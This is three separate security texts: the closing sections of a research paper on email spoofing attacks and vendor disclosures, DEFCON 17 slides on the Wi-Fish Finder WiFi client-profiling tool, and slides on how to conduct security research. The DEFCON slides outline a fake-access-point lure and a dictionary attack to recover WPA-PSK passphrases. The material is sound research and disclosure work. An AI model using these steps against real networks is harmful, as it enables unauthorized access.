2Email Spoofing Test Tool: https://github.com/mo-xiaoxi/Email SpoofingTestTool Figure 16: An example of UI notification against the com- bined attack tacting these entities to help them mitigate the detected threats. Our contact results are summarized as follows. Alibaba Cloud: They are interested in the attacks and have an in-depth discussion with us about the specifications. They mention that RFC 6376 suggests adding a DKIM signature in the email forwarding stage to increase emails’ credibility. They have now recognized the risk of adding DKIM signa- tures without verification and promise to evaluate and fix such issues. They also suggest we contact the authors of related RFCs to reach an agreed fix proposal. Gmail: They acknowledge our report and will fix related issues in subsequent updates. They contact us for discussing the essential reasons behind these security issues. iCloud: They discuss with us about the details of the attacks and their potential consequences. In particular, Apple iCloud Email has already fixed related security issues with our coop- eration. Sina: They evaluate the issue as a high-risk vulnerability and internally assess the corresponding protective measures. As a bonus, they provide us a reward of ≈ $90. Yandex: They accept our report and confirm the vulnerability. At the same time, they provide a bonus of $200 for apprecia- tion. Yahoo: They confirm the vulnerability. But they claim that it is not an immediate risk. Coremail: They acknowledge our report and particularly thank us for reporting the issue of UI attacks. To counter those security issues, they adopt our suggestions and and start to implement the UI notification to protect users against email spoofing attacks. QQ Mail and 163.com: They appreciate our work and in- form us that they would fix those security issues by anti-spam strategies. Outlook and Mail.ru: They claim that they are strictly op- erating their email service in accordance with RFC stan- dards. They categorize these problems as phishing emails and promise to pay more attention to the impact of such at- tacks. Others: We have contacted other relevant email vendors and look forward to receiving their feedback. 8 Related Work Prior works have revealed certain threats of phishing email attacks [8,12], including the impacts of spear phishing attacks on email user’s behavior [32]. Our work focuses on more novel forms of spoofing attacks and their influence on the whole authentication process. Poddebniak et al. [37] discuss how practical spoofing attacks break various protections of OpenPGP and S/MIME email signature verification. They also discuss two new protocols that are proposed to enhance spoofing detection, such as BIMI (Brand Indicators for Mes- sage Identification) [41] and ARC (Authenticated Received Chain) [3]. However, BIMI is built on DMARC and has not been fully standardized. Thus, the attacks we found are also effective. ARC protocol is standardized in 2019, yet, only three vendors (i.e., Gmail, Office 365, Zoho) have deployed the protocol in our experimental targets. Our work finds that, however, both Office 365 and Zoho have flaws with the im- plementation of ARC, which can still lead to some security issues . Hu et al. [20] analyzed how email vendors detect and han- dle spoofing emails through an end-to-end email spoofing experiment. We find that the vulnerabilities they mentioned have been mostly fixed in the past two years. Besides, they did not discuss bypassing security protocols detection. Our work focuses on new attacks that can bypass security proto- cols or user-interface protections. We can construct a highly realistic spoofing email that can completely bypass all the email security protocols and user-interface protections. In addition, prior literature has proposed many techniques to defend traditional phishing attacks. SMTP extensions, such as SPF, DKIM, and DMARC, are designed to protect the authenticity of emails. Foster et al. [14] measured the imple- mentation and deployment of these protocols and pointed out that, unfortunately, despite years of development, the accep- tance rate of these security protocols are still not very high. This low acceptance rate seriously jeopardizes the security of the email ecosystem [19]. Besides, there are many works discussing phishing detec- tion methods based on features extracted from email content and headers [7,13,28], lots of which rely on machine learning technology. Furthermore, Ho et al. [18] point out the posi- tive effects of a good security metric against phishing attacks. Other works [21,36] indicates that the current email services does not have a UI Notification as HTTPS [33]. The contem- porary visual security indicators are not enough to provide full phishing protection [20,29]. For email spoofing attacks, our research provides a UI notification scheme and evaluation tools for email systems’ administrators. It could effectively boost the development of protective measures against email spoofing in the future. 9 Conclusion This paper explored the vulnerabilities of the chain-based authentication structure in the email ecosystem. Specifically, a failure in any part can break the whole chain under this chain-based structure. Namely, the authenticity of an email depends on the weakest link in the email authentication chain. We presented a series of new attacks that can bypass SPF, DKIM, DMARC and user-interface protections through a sys- tematic analysis of the email delivery process. In addition, we conducted a large-scale analysis of 30 popular email ser- vices and 23 email clients. Experiment results show that all of them are vulnerable to the new attacks, including famous email services, such as Gmail and Outlook. We underscore the unfortunate fact that many email services have not imple- mented adequate protective measures. Besides, recognizing the limitation of past literature, which focused on spoofing attacks’ impacts on a single step of the authentication pro- cess, we concentrated on spoofing attacks’ influence on the chain-based email authentication process as a whole. Based on our findings, we analyzed the root causes of these attacks and reported the issues to corresponding email service providers. We also proposed key mitigating measures for email protocol designers and email providers to defend against email spoofing attacks. Our work is devoted to helping the email industry more efficiently protect users against email spoofing attacks and improve the email ecosystem’s overall security. Acknowlegments We sincerely thank our shepherd Zakir Durumeric and all the anonymous reviewers for their valuable reviews and com- ments to improve this paper. We also thank Mingming Zhang, Kangdi Cheng, Zhuo Li, Ennan Zheng, and Jianjun Chen for peer-reviewing and assisting in editing this paper. This work is supported in part by the National Natural Science Foundation of China (Grant No. U1836213 and U1636204), the BNRist Network and Software Security Re- search Program (Grant No. BNR2019TD01004). References [1] Bidirectional text. https://en.wikipedia.org/wik i/Bidirectional_text. Accessed: November 11, 2019. [2] E Allman, Jon Callas, M Delany, Miles Libbey, J Fenton, and M Thomas. Domainkeys identified mail (dkim) signatures. Technical report, RFC 4871, May, 2007. [3] Kurt Andersen, Brandon Long, S Jones, and Murray Kucherawy. Authenticated received chain (arc) protocol. ser. Internet-Draft’17, 2017. [4] S Blank and M Kucherawy. The authenticated received chain (arc) protocol. 2019. [5] Enrico Blanzieri and Anton Bryl. A survey of learning- based techniques of email spam filtering. Artificial In- telligence Review, 29(1):63–92, 2008. [6] Jianjun Chen, Jian Jiang, Haixin Duan, Nicholas Weaver, Tao Wan, and Vern Paxson. Host of troubles: Multiple host ambiguities in http implementations. In Proceed- ings of the 2016 ACM SIGSAC Conference on Computer and Communications Security, pages 1516–1527. ACM, 2016. [7] Asaf Cidon, Lior Gavish, Itay Bleier, Nadia Korshun, Marco Schweighauser, and Alexey Tsitkin. High preci- sion detection of business email compromise. In 28th {USENIX} Security Symposium ({USENIX} Security 19), pages 1291–1307, 2019. [8] Dan Conway, Ronnie Taib, Mitch Harris, Kun Yu, Shlomo Berkovsky, and Fang Chen. A qualitative inves- tigation of bank employee experiences of information security and phishing. In Thirteenth Symposium on Usable Privacy and Security ({SOUPS} 2017), pages 115–129, 2017. [9] D Crocker, T Hansen, and M Kucherawy. Domainkeys identified mail (dkim) signatures (rfc6376). Internet Society Requests for Comments.(Year: 2011), 2011. [10] Dave Crocker and Paul Overell. Augmented bnf for syntax specifications: Abnf. Technical report, RFC 2234, November, 1997. [11] Robin Dhamankar, Yoonkyong Lee, AnHai Doan, Alon Halevy, and Pedro Domingos. imap: discovering com- plex semantic matches between database schemas. In Proceedings of the 2004 ACM SIGMOD international conference on Management of data, pages 383–394, 2004. [12] Christine E Drake, Jonathan J Oliver, and Eugene J Koontz. Anatomy of a phishing email. In CEAS. Cite- seer, 2004. [13] Ian Fette, Norman Sadeh, and Anthony Tomasic. Learn- ing to detect phishing emails. In Proceedings of the 16th international conference on World Wide Web, pages 649– 656. ACM, 2007. [14] Ian D Foster, Jon Larson, Max Masich, Alex C Snoeren, Stefan Savage, and Kirill Levchenko. Security by any other name: On the effectiveness of provider based email security. In Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security, pages 450–464. ACM, 2015. [15] Ned Freed, Nathaniel Borenstein, et al. Multipurpose in- ternet mail extensions (mime) part one: Format of inter- net message bodies, rfc2045. See for instance http://ietf. org/rfc/rfc2045. txt, 1996. [16] Evgeniy Gabrilovich and Alex Gontmakher. The homo- graph attack. Communications of the ACM, 45(2):128, 2002. [17] Markus Gruber, Phillip Wieser, Stefan Nachtnebel, Christian Schanes, and Thomas Grechenig. Extraction of abnf rules from rfcs to enable automated test data generation. In IFIP International Information Security Conference, pages 111–124. Springer, 2013. [18] Grant Ho, Aashish Sharma, Mobin Javed, Vern Paxson, and David Wagner. Detecting credential spearphish- ing in enterprise settings. In 26th {USENIX} Security Symposium ({USENIX} Security 17), pages 469–485, 2017. [19] Hang Hu, Peng Peng, and Gang Wang. Towards un- derstanding the adoption of anti-spoofing protocols in email systems. In 2018 IEEE Cybersecurity Develop- ment (SecDev), pages 94–101. IEEE, 2018. [20] Hang Hu and Gang Wang. End-to-end measurements of email spoofing attacks. In 27th {USENIX} Security Symposium ({USENIX} Security 18), pages 1095–1112, 2018. [21] Hang Hu and Gang Wang. Revisiting email spoofing attacks. arXiv preprint arXiv:1801.00853, 2018. [22] Tom N Jagatic, Nathaniel A Johnson, Markus Jakobsson, and Filippo Menczer. Social phishing. Communications of the ACM, 50(10):94–100, 2007. [23] Scott Kitterman. Rfc 7208–sender policy framework (spf) for authorizing use of domains in email, version 1, 2014. [24] Scott Kitterman. Sender policy framework (spf) for authorizing use of domains in email, version 1. 2014. [25] J Klensin. Simple mail transfer protocol (rfc5321). Net- work Working Group, Internet Engineering Task Force. http://tools. ietf. org/html/rfc5321, 2008. [26] John Klensin. Rfc 2821: Simple mail transfer protocol. Request For Comment, Network Working Group, 2001. [27] John Klensin, Randy Catoe, and Paul Krumviede. Imap/pop authorize extension for simple chal- lenge/response. In RFC 2195. Network Working Group, 1997. [28] Tim Krause, Rafael Uetz, and Tim Kretschmann. Recog- nizing email spam from meta data only. In 2019 IEEE Conference on Communications and Network Security (CNS), pages 178–186. IEEE, 2019. [29] Kat Krol, Matthew Moroz, and M Angela Sasse. Don’t work. can’t work? why it’s time to rethink security warn- ings. In 2012 7th International Conference on Risks and Security of Internet and Systems (CRiSIS), pages 1–8. IEEE, 2012. [30] M Kucherawy. Domainkeys identified mail (dkim) and mailing lists. Technical report, RFC 6377, September, 2011. [31] Murray Kucherawy and Elizabeth Zwicky. Domain- based message authentication, reporting, and confor- mance (dmarc). 2015. [32] Tian Lin, Daniel E Capecci, Donovan M Ellis, Harold A Rocha, Sandeep Dommaraju, Daniela S Oliveira, and Natalie C Ebner. Susceptibility to spear-phishing emails: Effects of internet user demographics and email con- tent. ACM Transactions on Computer-Human Interac- tion (TOCHI), 26(5):32, 2019. [33] Meng Luo, Oleksii Starov, Nima Honarmand, and Nick Nikiforakis. Hindsight: Understanding the evolution of ui vulnerabilities in mobile browsers. In Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications Security, pages 149–162. ACM, 2017. [34] DomainKeys Identified Mail. Signatures rfc 6376. [35] Joshua Pereyda. boofuzz: Network protocol fuzzing for humans. Accessed: Feb, 17, 2017. [36] Justin Petelka, Yixin Zou, and Florian Schaub. Put your warning where your link is: Improving and evaluating email phishing warnings. In Proceedings of the 2019 CHI Conference on Human Factors in Computing Sys- tems, page 518. ACM, 2019. [37] Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky, and Jörg Schwenk. Efail: Breaking s/mime and openpgp email encryption using exfiltra- tion channels. In 27th {USENIX} Security Symposium ({USENIX} Security 18), pages 549–566, 2018. [38] Jon Postel. Simple mail transfer protocol. Information Sciences, 1982. [39] Paul Resnick. Rfc2822: Internet message format, 2001. [40] Paul Resnick. Rfc 5322, internet message format. On- line: https://tools. ietf. org/html/rfc5322, 2008. [41] T. Loder S. Blank, P. Goldstein and T. Zink. Brand indicators for message identification (bimi). Technical report, 2019.
pdf
Md Sohail Ahmad Md Sohail Ahmad Prabhash Prabhash Dhyani Dhyani AirTight Networks AirTight Networks www.airtightnetworks.com www.airtightnetworks.com Wi-Fish Finder: Who will bite the bait? There is >50 % chance that your laptop will! © AirTight Networks 2009 Submitted to DEFCON 17 About the Speaker Last year brought to you Autoimmunity Disorder in Wireless LANs at Defcon 16 http://www.defcon.org/html/defcon-16/dc-16- speakers.html#Ahmad The year before served you Caffe Latte at Toorcon 9 http://www.toorcon.org/2007/event.php?id=25 © AirTight Networks 2009 Submitted to DEFCON 17 What Motivated This Presentation A lot has been written and said about dangers of using OPEN and WEP based WiFi networks Yet, level of awareness about WiFi vulnerabilities is still very low. A recent study by AirTight Networks in April 2009 http://www.airtightnetworks.com/home/resources/knowledge-center/financial- districts-scanning-report.html 56 % Clients were found to be probing for one or more SSIDs 13 % Clients were found probing for OPEN ad hoc networks Most users are vulnerable, yet they are unaware © AirTight Networks 2009 Submitted to DEFCON 17 Perhaps Showing Them a Mirror Will Help… Wi-Fish Finder is a tool for 1. Discovering active WiFi clients 2. Finding networks they are probing for 3. Finding security settings of the probed network 1,2 has been done before What’s cool? --- Step 3 What needs attention? – clients which only connect to WPA, WPA2 networks can also be vulnerable! © AirTight Networks 2009 Submitted to DEFCON 17 Network Name Leakage from WiFi Cards WiFi enabled roaming clients normally leak the name of the networks they have been connecting to in the past −Some of these networks could be Open or WEP and leaves client vulnerable to Honeypot style attacks © AirTight Networks 2009 Submitted to DEFCON 17 Can Security Mode of Each Probed Network (OPEN, WEP, WPA or WPA2) be Determined? WiFi enabled laptop keeps memory of various WiFi networks it has connected to in the past If correct security setting of each probed SSID can be determined then a matching honeypot can be instantly created! © AirTight Networks 2009 Submitted to DEFCON 17 Yes, it is possible! Security of a Probed SSID Security posture Probed SSID © AirTight Networks 2009 Submitted to DEFCON 17 How? We will discuss details of Wi-Fish Finder during presentation We will also do a Live Demo of Wi-Fish Finder © AirTight Networks 2009 Submitted to DEFCON 17 Important Points If the probed SSID list contains at least one OPEN network A simple OPEN honeypot will do the trick Else, if the probed SSID list containst at least one WEP network Caffe Latte will do the trick Else, if the probed SSID list contains only WPA-PSK networks Honeypot attack still possible! (see the next slide) Else, if the probed SSID list contains only WPA2 network Honeypot attack still possible in some cases (see the next slide) © AirTight Networks 2009 Submitted to DEFCON 17 The Latest Advancement In Dictionary Attack Tool To run dictionary attack all we need is 4 way EAPOL handshake packets Thanks to Thomas D’Otreppe latest aircrak-ng doesn’t require all 4 handshake frames Disclosure in UNAM, Mexico City November 27-28, 2008 Default Default Windows caches the Passphrase or Pre-Shared Key of networks in its PNL 4-Way Handshake A Nonce SNonce +MIC GTK+MIC Ack AP STA © AirTight Networks 2009 Submitted to DEFCON 17 WPA/WPA2-PSK Clients can be targeted: Attack Choreography A Nonce SNonce +MIC Attacker Genuine STA Client and AP establish connection Attacker runs dictionary attack and retrieves “Passphrase” Client and AP establish connection SNonce +MIC GTK+MIC Ack A Nonce Data Transfer Attacker collects first two frames of 4-way handshake by setting-up a fake access point and luring client to connect to it Passphrase is retrieved by launching dictionary attack using latest aircrack-ng tool AP is again configured with correct Passphrashe (PSK) This time client is successfully able to complete the 4-way handshake Client machine now gets connected to attacker’s machine © AirTight Networks 2009 Submitted to DEFCON 17 Conclusion While lot of measures have been taken to secure WiFi infrastructure (both APs and Client in the vicinity) by following best practices and deploying various forms of WIPS solution, WiFi enabled devices are still need adequate security cover An infected laptop can be serious security threat to an organization as it can lead to an attack, recently, uncovered by SANS Newest WLAN Hacks Come From Afar http://darkreading.com/security/vulnerabilities/showArticle.jhtml;jsessionid=2Y42ER3MPBL2 OQSNDLOSKHSCJUNN2JVN?articleID=217100332 WiFish Finder is a perfect tool to reflect the security posture of a WiFi enabled client devices and could be used to assess their security risk level © AirTight Networks 2009 Submitted to DEFCON 17 …Food For Thought Hidden SSID of an Access Point can be discovered in a matter of seconds If a client is not broadcasting SSID in probes Can it’s PNL be guessed ! Hint: Dictionary Attack ! Questions? Md Sohail Ahmad [email protected] [email protected] Prabhash Dhyani [email protected] AirTight Networks www.airtightnetworks.com
pdf
The Art and Science of Security Research The Art and Science of Security Research Gregory Conti [email protected] Gregory Conti [email protected] http://commons.wikimedia.org/wiki/File:Venus_botticelli_detail.jpg The views expressed in this presentation are those of the author and do not reflect the official policy or position of the United States Military Academy, the Department of the Army, the Department of Defense or the U.S. Government. http://commons.wikimedia.org/wiki/File:Blurry_Prison.jpg I am not a lawyer http://commons.wikimedia.org/wiki/File:Honor%C3%A9_Daumier_018.jpg What is Research? The search for knowledge, with an open mind, to establish novel facts, solve new or existing problems, prove new ideas, or develop new theories, usually using a scientific method. http://en.wikipedia.org/wiki/Research Paywall Edge of Human Knowledge Books Courses Science Fiction Future Work Research Papers Future Work Science Fiction Present 10 years 50 years Proprietary Classified Why Research? • Advance human knowledge • Give back, so others can take your work to the next level • Make yourself an expert • Valuable skill set • Fun and rewarding • Get credit, notoriety, profit • Build you resume • You are already doing the work http://commons.wikimedia.org/wiki/File:Beakers.jpg What hackers bring to the table… • Native curiosity • Cleverness • Color outside the lines • Hackers do great work • Less constraints, Less fear • Freedom to choose problems that industry or academia can’t/won’t touch • Hackers can build things • Inspiration and obsession • Devious minds • Interesting ideas • Access to interesting data • Interesting acquaintances http://commons.wikimedia.org/wiki/File:Lamborghini_Revent%C3%B3n_coloring.jpg http://commons.wikimedia.org/wiki/File:Noise_makers.jpg Seek to be the World Expert • Or at least an expert • N world experts in the room • Momentum • Once at edge you will see problems (and solutions) that others don’t know exist “In fact, researchers have settled on what they believe is the magic number for true expertise: ten thousand hours.” - Malcolm Gladwell Outliers Depth vs. Breadth http://en.wikipedia.org/wiki/File:D%26D_Game_1.jpg Strategies for Finding Problems Challenge Assumptions http://peshawar.olx.com.pk/we-have-ready-stock-of-used-hard-disk-40gb-80gb-iid-21611687 Think Big http://www.caida.org/research/id-consumption/census-map/ Cooperative Association for Internet Data Analysis (CAIDA) 2007 IPv4 Census Map (two-month ping sweep) http://xkcd.com/195/ Think Small Microsoft Word 2003 .doc Firefox Process Memory Windows .dll Neverwinter Nights Database Irritate Software, Hardware, Protocols, and People http://commons.wikimedia.org/wiki/File:Pearl_oyster.jpg Detect Patterns http://commons.wikimedia.org/wiki/File:Puzzle_Krypt-2.jpg Detect Patterns http://justindupre.com/sunday-squakbox-what-are-your-thoughts-on-bitcoin/ http://slashdot.org/index2.pl?fhfilter=bitcoin Sense a Need Darmawan Salihun, 2006 2 used from $679.00 http://www.amazon.com/BIOS-Disassembly-Ninjutsu-Uncovered/dp/1931769605/ref=sr_1_1?ie=UTF8&qid=1307758222&sr=8-1 Look at the Intersection of Your Interest Areas HCI Security • Malicious interface design • Design of privacy interfaces • Interfaces that lie • Error exploitation Exploit Crazy Intersections Carpal Tunnel Nunchaku Army Carpal Tunnel http://commons.wikimedia.org/wiki/File:Nunchaku_Routine.gif http://www.medsupports.com/images/products/detail/8_242-&-8_243-Carpal-Tunnel.gif Look for Pain http://commons.wikimedia.org/wiki/File:Redbox_Office.jpg Bypassing the HR Filter What Makes You Mad Flying Vodka Bottles What Makes You Mad Academic Spam What Could Possibly Go Wrong http://www.net-security.org/secworld.php?id=10894 Self-wiping hard drives from Toshiba What Could Possibly Go Wrong http://www.nytimes.com/imagepages/2011/06/09/business/AltATM2.html Voice Analysis Software in Russian ATMs What Could Possibly Go Wrong Cloud Computing http://commons.wikimedia.org/wiki/File:Cloud_applications.jpg What Could Possibly Go Wrong Look Under Rocks http://commons.wikimedia.org/wiki/File:Stones_1646.jpg Something Old http://www.unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html Something New http://www.technologyreview.com/computing/37818/?p1=A1&a=f Google Makes Web Pages Load Instantly The Chrome browser will soon silently fetch pages as you scan search results so that they load without delay. Extend / Generalize For example, sensors… “CCD Fingerprint Method-Identification of a Video Camera from Videotaped Images” by Kenji Kurosawa, Kenro Kuroki, Naoki Saitoh http://commons.wikimedia.org/wiki/File:Lehrredaktion_Do1_am_Institut_f%C3%BCr_Journalistik,_TU_Dortmund.JPG Look to Science Fiction Assume the Worst in People • Look at capabilities and not what people, companies, or governments say they do • Look at incentives http://news.dmusic.com/article/21084 Real Player Spyware, 1999 Sony Rootkit, 2005 Apple Location Database, 2011 http://www.mcwetboy.net/maproom/images/sony_rootkit.jpg Think Like a Nation-State http://commons.wikimedia.org/wiki/File:Political_World_Map.jpg Read the CFP • Infection vectors for malware (worms, viruses, etc.) • Botnets, command and control channels • Spyware • Operational experience and case studies • Forensics • Click fraud • Measurement studies • New threats and related challenges • Boutique and targeted malware • Phishing • Spam • Underground economy USENIX Workshop on Large-Scale Exploits and Emergent Threats (LEET '11) http://www.usenix.org/events/leet11/cfp/ • Miscreant counterintelligence • Carding and identity theft • Denial-of-service attacks • Hardware vulnerabilities • Legal issues • The arms race (rootkits, anti–anti- virus, etc.) • New platforms (cellular networks, wireless networks, mobile devices) • Camouflage and detection • Reverse engineering • Vulnerability markets and zero-day economics • Online money laundering • Understanding the enemy • Data collection challenges Future Work Martin Vuagnoux and Sylvain Pasin. “Compromising Electromagnetic Emanations of Wired and Wireless Keyboards.” USENIX Security, 2009. A Good Survey Article or Paper is Always in Demand And is an important part of your research program http://commons.wikimedia.org/wiki/File:Seismic_Survey_Party.jpeg And More • Work with someone else • Consider edge and corner cases • Examine implementations • Hardware is the new software • Exploit cloud resources • Defcon / BH / RSA talks … Develop a System Feed your Mind • Have analog hobbies – Lathe and wizards wands • Got to take mind off work • Choose diverse sources – Slashdot – Wired – Technology Review – … • Books • Magazines – IEEE S&P – Make – … • Mailing Lists • IEEE Cipher • Blogs Museum of Modern Art, NY http://commons.wikimedia.org/wiki/File:MoMa_NY_USA_screens.jpg Build up your toolset • Coding • Hardware • Advanced Techniques – Datamining – Visualization – Information Theory – … • Speed reading • Communicating – Writing – Public Speaking Fill Unused Space Your Signature Witness Signature Date Source: www.bookfactory.com •Document discoveries: Capture exact details and dates of conception •Be able to reproduce your work •Record ideas, observations, and results •Chronological record of your work •Use permanent Ink •Never remove pages Write Down Your Ideas Other Techniques http://www.post-it.com/wps/portal/3M/en_US/Post_It/Global/Home/Products/Easel_Pads/?PC_7_RJH9U5230OT440II987MUE3CE7_nid=NPC4H48K27gsKK1GCH46K8glN2ZDWKD3XWbl Giant Post-it Notes Giant Pads of Paper Digital Voice Recorder http://www.amazon.com/Sony-ICD-BX800-Memory-Digital-Recorder/dp/B00387E5AS/ref=sr_1_1?ie=UTF8&qid=1308225530&sr=8-1 http://commons.wikimedia.org/wiki/File:Integrator_step4_whiteboard_1000.jpg http://www.amazon.com/gp/customer-media/product-gallery/B000F762Q4/ref=cm_ciu_pdp_images_0?ie=UTF8&index=0 White Board Smart Board Watch for New Pieces of Information http://commons.wikimedia.org/wiki/File:Fire_buckets,_Minehead_Station_-_geograph.org.uk_-_1715978.jpg Choosing the Right Problem • Life is short • Something you are passionate about • Ability to get traction • Idea maturity – Not too early – Not too late • Develop many in parallel • Who pays your bills Don’t Rediscover Fire http://commons.wikimedia.org/wiki/File:Feu_-_VTdJ.JPG Chip Away at the Problem Final Goal Build on What Others Have Done • Avoid duplication • Help energize your work • Give credit where credit is due • Paywalls – 80% is probably publicly available – email authors – friend in college with DL subscription, web search http://en.wikipedia.org/wiki/File:Library_of_Congress,_Rosenwald_4,_Bl._5r.jpg Reference Management http://www.endnote.com/ Lots of choices… Aigaion, Bebop, BibDesk, Biblioscape, BibSonomy, Bibus, Bookends, Citavi, CiteULike, Connotea, EndNote, JabRef, Jumper 2.0, KBibTeX, Mendeley, Papers, PDF Stacks, Pybliographer, Qiqqa, refbase, RefDB, Reference Manager, Referencer, RefWorks, Scholar's Aid, Sente, Wikindx , WizFolio, Zotero See http://en.wikipedia.org/wiki/Comparison_of_reference_management_software Organize your Data • Versioning – yyyymm_na me_verXX • The mess I created – 1M+ binary fragments • Backing up – WTC http://commons.wikimedia.org/wiki/File:Hard_disk_head_crash.jpg The Target May Move Initial Goal Final Goal Re(Search) • Blind alleys • Knowing something doesn’t work is also knowledge http://commons.wikimedia.org/wiki/File:Brick_alley.jpg Get Feedback • Peers • Panels • Regional Cons • Groups at work • DC groups / 2600 Gatherings • Each makes you stronger and fleshes out the idea Collaborate • You probably don’t want to contact William Gibson • Google Docs • Building a team / Research group • But remember the mythical man month >How can I get in touch with you? You can write to me in care of my publishers. They will then compost your letter, allow it to ferment for several months, and eventually send it to me. I will then neglect to reply, no doubt suffering an incremental increase in negative karma. It's up to you. -William Gibson http://williamgibsonboard.com/eve/forums/a/tpc/f/273109857/m/624109857 Start Local DC Groups Hacker Spaces ISSA 2600 Meetings LUGs Colleges Coping with Infinity http://commons.wikimedia.org/wiki/File:E-portfolios-infinity-design.jpg Write and Rewrite Author Guidelines Editorial Calendars 2012 IEEE Computer Society (Extract) Look at What Editor’s Change “Writing novels is hard, and requires vast, unbroken slabs of time. Four quiet hours is a resource that I can put to good use.” “Two slabs of time, each two hours long, might add up to the same four hours, but are not nearly as productive as an unbroken four.” “If I know that I am going to be interrupted, I can't concentrate, and if I suspect that I might be interrupted, I can't do anything at all.” http://web.mac.com/nealstephenson/Neal_Stephensons_Site/Bad_Correspondent.html Getting to Cruising Altitude http://web.mac.com/nealstephenson/Neal_Stephensons_Site/Photos.html#0 Neal Stephenson “Why I am a Bad Correspondent” Major Life Events “No mathematician should ever allow himself to forget that mathematics, more than any other art or science, is a young man's game.” http://commons.wikimedia.org/wiki/File:Fliegergriff01.jpg http://commons.wikimedia.org/wiki/File:%E3%82%BD%E3%83%95%E3%82%A3%E3%82%B9%E3%82%AB% E3%83%A4%E5%AF%BA%E9%99%A2%E3%83%BB%E8%81%96%E7%B4%A2%E8%8F%B2%E4%BA%9C %E6%95%99%E5%A0%82%E7%B5%90%E5%A9%9A%E5%BC%8F%E8%A8%98%E5%BF%B5%E5%86%99% E7%9C%9F.jpg http://www.slate.com/id/2082960/ G.H. Hardy A Mathematician’s Apology Find a Place Where You are Creative http://en.wikipedia.org/wiki/File:Food_court_edo_japan_la_belle_province_basha.jpg Mall Food Courts / Restaurants / Pubs Airports / Airplanes http://commons.wikimedia.org/wiki/File:Melbourne_Airport_terminal.jpg Boring meetings, classes and talks http://www.flickr.com/photos/shootingsawk/2767119981/sizes/m/in/photostream/ Interesting meetings, classes and talks Think in Terms of Research Campaigns • Long Term • Inform decision makers • Communicate with different audiences • Research vision http://www.nps.gov/nr/twhp/wwwlps/lessons/107bennington/107locate2.htm Research Funding • Small Business Innovation Research (SBIR) and Small Business Technology Transfer (STTR) – http://www.sbir.gov • NSF • DARPA … • Lots of metawork • Lots strings usually attached • Lots of competition Thai Buddhist “Money Trees” http://commons.wikimedia.org/wiki/File:Wat_money_trees.jpg DARPA Cyber Fast Track • Designed to make research funding available for boutique security companies and hackerspaces • Watch https://www.fbo.gov/ for details • Also see the ShmooCon 2011 Keynote at http://www.youtube.com/ watch?v=rDP6A5NMeA4 http://www.youtube.com/watch?v=rDP6A5NMeA4 Methodology, Etiquette and Rules of the Road Scientific Method 1. Ask a question 2. Do background research 3. Construct a hypothesis 4. Test your hypothesis by doing an experiment 5. Analyze your data and draw a conclusion 6. Report your results (Was you hypothesis correct?) http://kbagdanov.files.wordpress.com/2009/04/scientificmethod.jpg http://en.wikipedia.org/wiki/Scientific_method http://commons.wikimedia.org/wiki/File:Barbara_McClintock_at_C.S.H._1947-3.jpg Rigor and Merit (NSF Review Criteria) Intellectual Merit – How important is the activity to advancing knowledge and understanding? – How qualified is the proposer? – Does the project explore creative, original or transformative concepts? – How well conceived and organized is the project? – Is there sufficient access to resources? Broader Impacts – Does the activity advance discovery and understanding? – While promoting teaching, training, and learning? – Include participation by underrepresented groups? – Will the results be disseminated broadly? – What are the benefits to society? http://www.nsf.gov/pubs/2011/nsf11690/nsf11690.htm#reviewcrit Collisions in IdeaSpace http://commons.wikimedia.org/wiki/File:Sortie_de_l%27op%C3%A9ra_en_l%27an_2000-2.jpg http://en.wikipedia.org/wiki/List_of_multiple_discoveries Institutional Review Board (IRB) TUSKEGEE SYPHILIS STUDY (1932-1972) • US Public Health Service research • 600 low-income African-American males from rural Alabama with a high incidence of syphilis infection, were monitored for 40 years. • Subjects were given free medical examinations, but they were not told about their disease. • Even though a proven cure (penicillin) became available in the 1950s, the study continued until 1972 with participants and their families being denied treatment. • In some cases, when subjects were diagnosed as having syphilis by other physicians, researchers intervened to prevent treatment. • The study was stopped in 1973 by the U.S. Department of Health, Education, and Welfare only after its existence was exposed in a newspaper story, and it became a political embarrassment. • In 1997, President Clinton apologized to the study subjects and their families. http://www.iupui.edu/~histwhs/G504.dir/irbhist.html • Approves, monitors and reviews research involving human subjects. • Response to research abuses in the 20th century, including Nazi experimentation and the Tuskegee Syphilis Study. • If you are dealing with human subjects, you may need IRB approval. http://en.wikipedia.org/wiki/File:Tuskegee-syphilis-study_doctor-injecting-subject.jpg Responsible Disclosure • Admittedly a Holy war • How long to wait before disclosing a vulnerability • Social responsibility vs. false security http://commons.wikimedia.org/wiki/File:Siege_of_Ascalon_%281153%29.jpg Siege of Ascalon - 1153 http://en.wikipedia.org/wiki/Responsible_disclosure Keep your Personal Research Distinct from Work • Use your own time, hardware, software • Read your employment contract carefully and any NDAs carefully • Don’t let your personal work touch your employers resources. • Smart employers/schools will respect your personal IP http://source.nycsca.org/pdf/it/ITF-1a.pdf Misc • No dual submissions • Academic conferences probably don’t pay travel or an honorarium for speakers/panelists • Avoid asking people out of the blue to read your paper/article, a thoughtful question or two is much better • Authors are typically sequenced from first author (biggest contribution) to Nth author (least contribution) • “Authors” don’t need to write a word • Sole author • When in doubt, acknowledge or cite • People get weird when you write up their “ideas” or work • With some research, discretion is advised – Even when drunk – Especially when the research is someone else’s A bit about Academia… Academia is a Lot Like RE/MAX Academia and Industry • Follow the money – Research grants – Fads – Customers with money • Industry – Must make case for bottom line • Your advantages – Passion Academia • Academic Rank – Instructor – Assistant Professor – Associate Professor • Tenure usually starts here – Professor • Ranking of school != ranking of a given program • Time – BS, 4 years – MS, 1-2 years • Usually requires BS, but I’ve seen exceptions – PhD, 4-7 years • Can pick up MS along the way • Finish your degree, then cure cancer (Clark Ray) http://commons.wikimedia.org/wiki/File:Academia-sumy.jpg Outputs Sharing Your Work and Leaving Artifacts Behind • Slides • Code – Documented Code • Software – Documentation • Hardware – Documentation • Data • Video / Audio • Website / Blog • White Paper • Magazine Article • Research Paper • Journal Article • Book http://commons.wikimedia.org/wiki/File:Samurai_swords,_Victoria_%26_Albert_Museum,_London_-_DSCF0364.JPG Reproducibility • Stradivari Violins • Nepenthe • Antikythera Mechanism • Telharmonium • Library of Alexandria • Damascus Steel • Silphium • Roman Cement • Greek Fire http://www.toptenz.net/top-10-lost-technologies.php http://commons.wikimedia.org/wiki/File:Stradivarius_violin_back.jpg 